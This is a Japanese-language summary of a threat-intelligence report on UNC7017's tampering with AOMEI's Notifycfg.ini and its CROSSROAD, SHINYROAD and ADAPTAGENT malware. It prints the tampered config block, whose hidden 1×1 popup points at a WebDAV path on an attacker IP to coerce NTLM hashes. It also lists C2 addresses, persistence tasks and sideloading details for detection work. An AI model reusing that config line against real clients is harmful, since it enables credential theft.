GTIGがUNC7017の調査を紹介、Notifycfg.iniへの悪用経路の追加とCROSSROADを報告

UNC7017の攻撃で確認された手口

UNC7017は7月20日、AOMEIクライアントが読み込むNotifycfg.iniに2つ目の悪用経路を加えました。改ざん前のNotifycfg.iniは、「World Cup Deals」を宣伝する正規の400×380のバナーを表示するものでした。^[1]

Notifycfg.iniの改ざん内容

7月20日の設定は、見えない1×1のポップアップによって、WebDAV/NTLM認証を8.210.84.56へ誘発するものでした。AOMEIクライアントにWebDAV経由でリモートのファイルを要求させ、利用者に見えないまま端末にNetNTLMv2認証ハッシュを送らせ得る仕組みです。

図1　7月20日のNotifycfg.iniの改ざん

攻撃者は、この正規のバナーを1×1ピクセルのウィンドウに置き換えました。7月20日に改ざんされた設定は、以下の通りです。

[PopWindow1]
ID=307
Title=20260408-AB Flash Sale (All Lang 不含EN)
Address="file://8.210.84.56/DavWWWRoot/campaign/24hour-flash-sale.html"
Width=1
Height=1
Priority=9999

公式資料からの抜粋：Investigating Ephemeral Supply Chain Tampering（WebDAV NTLM Credential Coercion）。対象版・範囲：調査報告の記載時点。

上記のコードでは、Width=1とHeight=1で見えない1×1ピクセルのウィンドウを指定し、Priority=9999で最大の実行優先度を割り当てています。Addressの値は、UNCのWebDAVパス上にあるリモートのHTMLファイルをクライアントに表示させる指定です。

SHINYROADを届ける仕組み

GTIGは、upgrade-now.zipで配られたダウンローダーをCROSSROADというマルウェアファミリーとして追跡しています。CROSSROADが展開したRadminの管理ツール一式は、SHINYROADというモジュール型バックドアを届ける手段でした。

図2　調査報告に登場するツールとマルウェア

CROSSROADが%LOCALAPPDATA%\Radmin\へ展開するアーカイブには、Famatech Radmin 3.xの管理ツール一式が含まれます。SHINYROAD自体は固有の永続化の仕組みを持たず、実行をCROSSROADが登録した外部のスケジュールタスクに全面的に依存しています。

初期亜種のSHINYROADの機能

初期のキャンペーン亜種の分析では、SHINYROADが独自のCレベル拡張に依存していると判明しました。拡張は_pyio_compatや_pyio_struct、pkpyで、標準のPythonライブラリをディスク上から読み込まないためのものです。

図3　初期亜種のSHINYROADが依存する拡張

初期亜種のエンジンは、対話型のリモートシェルや、ランダムな不要パケットで通信の特徴を乱す機能を備えていました。pkpy WorkPoolのスレッド管理を介し、スクリプトのモジュールをディスクに書かずにメモリ上で機能を動的に拡張することもできました。

図4　初期亜種のSHINYROADのエンジンの機能

攻撃の波で展開されたツール

UNC7017は攻撃の波を通じて、独自のローダーと商用やオープンソースの侵入後ツールから成る一貫した連鎖を展開しました。2026年7月中旬、SHINYROADの展開成功後の後続段階で、Nitro PDFのツール（NitroPromotion.exe）を装ったADAPTAGENTが送り込まれています。

図5　攻撃の波で確認されたツール

5月28日の攻撃の波では、html/ディレクトリに置かれた署名のないローダーがrsetup64.exe /intsetupを実行しています。この実行は、改変版のRadmin Serverをサイレントインストールし、持続的なリモートアクセスを確立するものでした。

NitroPromotion.exeは、%LOCALAPPDATA%\Nitro Pro\からEztwain4.dll（ADAPTAGENT）をサイドロードしました。読み込まれたADAPTAGENTは、8.210.84.56:6800へ2分間隔でAdaptix C2のビーコン通信を確立しています。

CROSSROADの実行時の動作

CROSSROADの実行時に確認された主な動作は、以下の通りです。

初期ドロッパーで確認された時刻改変

5月20日にVirusTotalへ提出された初期のCROSSROADドロッパー（upgrade-now.exe）では、PEのコンパイル時刻が改変されていました。脅威アクターは、フォレンジックの時系列分析を難しくするため、偽の2024年の日付を表示させていました。

CROSSROADの二次ダウンロード

CROSSROADは二次ダウンロードの前に、2つの主要なチェックを行います。通過するとcomponent.zipを%TEMP%\svc<random_hex>.tmpへダウンロードします。

図6　環境チェック通過後のCROSSROADの処理

component.zipは、en.zipとしても観測されたファイルです。環境チェックを通過した場合、CROSSROADは組み込みのminizライブラリで、利用者のローカルアプリケーションデータのディレクトリへ展開します。

UNC7017で報告されたタスク名などの例

upgrade-now.exeは、永続化のためにRadminComponentRuntimeというスケジュールタスクを登録しました。ADAPTAGENTの段階では、マルウェアが永続化のために\NitroRuntimeというスケジュールタスクをインストールしています。^[1]

CROSSROADの実行ファイルには、ProductName: AOMEI Update Compentという綴り誤りのある版情報が含まれていました。改ざんされた設定が利用者に見えない形で認証情報を送らせる先は、攻撃者が管理するIPアドレス8.210.84.56でした。

図7　調査報告に記載されたタスク名など

RadminComponentRuntimeは、%LOCALAPPDATA%\Radmin\FamItrfc.exe --runtimechkを3時間ごとに実行します。\NitroRuntimeは、PowerShellのStart-ProcessでNitroPromotion.exeを非表示で起動します。

AOMEI製品を使う端末で侵害の有無を調べる場合は、上記のタスク名や版情報、通信先のIPアドレスが端末や通信の記録に残っていないかを確かめるのが一つの方法です。UNC7017は少なくとも2026年7月上旬から、storage-data.comの基盤でAdaptix C2を展開していました。